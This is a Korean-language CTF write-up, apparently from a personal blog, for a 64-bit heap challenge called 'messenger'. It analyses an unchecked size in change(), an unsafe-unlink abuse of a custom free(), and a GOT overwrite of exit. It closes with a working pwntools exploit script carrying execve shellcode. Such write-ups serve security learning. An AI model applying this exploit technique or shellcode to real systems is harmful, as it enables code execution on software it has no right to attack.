64비트용 바이너리며 ASLR과 카나리만 적용되어있고 nx는 적용되어있지 않다.
실행해보면 메뉴들이 있고 각 메뉴들은 각각의 기능을 한다.
ida로 살펴보자.
main함수다.
각 메뉴의 함수를 보자.
먼저 leave함수다.
size와 msg를 입력받고 커스텀 malloc으로 새로운 메모리를 할당받는다.
커스텀 malloc의 주소는 0x400922다.
그리고 각 메모리에 할당되는 사이즈는32바이트를 넘길 수 없다.
그 다음으론 remove함수다.
remove함수는 할당된 메모리의 인덱스를 입력받아서 해당하는 메모리를 free()해주는 역할을 한다.
여기서도 커스텀 free를 이용해 해제한다.
커스텀 free의 주소는 0x400B2D다.
커스텀 free를 보자.
간략하게 요약하자면
fd + 16 = bk
bk + 8 = fd
이런식이다.
32비트에선 fd + 12이나 64비트이므로 fd + 16이다.
이번엔 change 함수다.
change 함수에선 이미 할당된 메모리에 있는 값을 수정하는 기능을 한다.
미리 말하자면 처음 leave함수에선 size가 32바이트를 넘어가면 메모리 할당을 안해주지만 이 change함수에선 size값을 체크하지 않는다.
이 부분에서 취약점이 터진다.
마지막으로 view함수다.
메모리에 저장된 값을 출력해주는 함수다.
이제 문제를 풀자.
우선 gdb로 bp를 걸고 leave함수부터 봤다.
size에 32를 넣고 msg에 AAAA를 넣은 후 메모리의 상태다.
heap의 시작주소는 0x603000이고 첫번째 할당된 메모리는 0x603018이다.
첫번째 할당된 메모리 청크의 fd와 bk를 보면 각각 fd, bk가 잘 있는것을 확인할 수 있다.
그리고 두번째 leave함수를 할당해봤다.
size는 똑같이 32에 msg는 BBBB로 주었다.
두번째 청크를 보면 fd와 bk가 또 잘 세팅된 것을 볼 수 있다.
근데 여기서 첫번째 청크를 change함수로 오버플로우를 일으켜서 두번째 청크의 fd와 bk를 조작하면 got overwrite를 통해서 쉘코드를 실행할 수 있다.
익스 과정은 아래와 같다.
1. 첫번째 청크를 오버플로우해 두번째 청크의 fd를 leak해서 heap의 주소를 알아낸다.
2. 오버플로우로 두번째 청크의 fd에 exit@got - 0x10을 넣고 bk에 heap+0xa8을 넣어서 unsafe unlink로 공략. (쉘코드를 heap+0xa8보다 큰 곳에 올려한다.)
3. 첫번째 청크에 오버플로우로 쉘코드를 넣는다.
from pwn import * def leave(size, msg): r.recvuntil(">>") r.sendline("L") r.recvuntil("size :") r.sendline(size) r.recvuntil("msg :") r.sendline(msg) def change(index, size, msg): r.recvuntil(">>") r.sendline("C") r.recvuntil("index :") r.sendline(index) r.recvuntil("size :") r.sendline(size) r.recvuntil("msg :") r.sendline(msg) def view(index): r.recvuntil(">>") r.sendline("V") r.recvuntil("index :") r.sendline(index) def remove(index): r.recvuntil(">>") r.sendline("R") r.recvuntil("index :") r.sendline(index) if __name__ == "__main__": shellcode = "\x90"*200 shellcode += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" r = process("./messenger") e = ELF("./messenger") exit_got = e.got['exit'] log.info("exit@got = {}".format(hex(exit_got))) leave("32", "AAAA") leave("32", "BBBB") payload = "A"*55 change("0", "100", payload) view("0") r.recvuntil("\n") heap = u64(r.recvuntil("\n")[:-1].ljust(8, "\x00")) - 0xa8 log.info("heap = {}".format(hex(heap))) payload = "a"*56 payload += p64(exit_got - 0x10) payload += p64(heap + 0xa8) change("0", "100", payload) remove("1") change("0", "1000", shellcode) r.interactive()
'CTF' 카테고리의 다른 글
Defcon 2017 smashme (0) | 2018.08.12 |
---|---|
Plaid 2014 ezhp (0) | 2018.08.12 |
RCTF 2015 welpwn (0) | 2018.08.01 |
EasyCTF2017 Simple ROP (0) | 2018.08.01 |
Def-camp warmheap (0) | 2018.07.31 |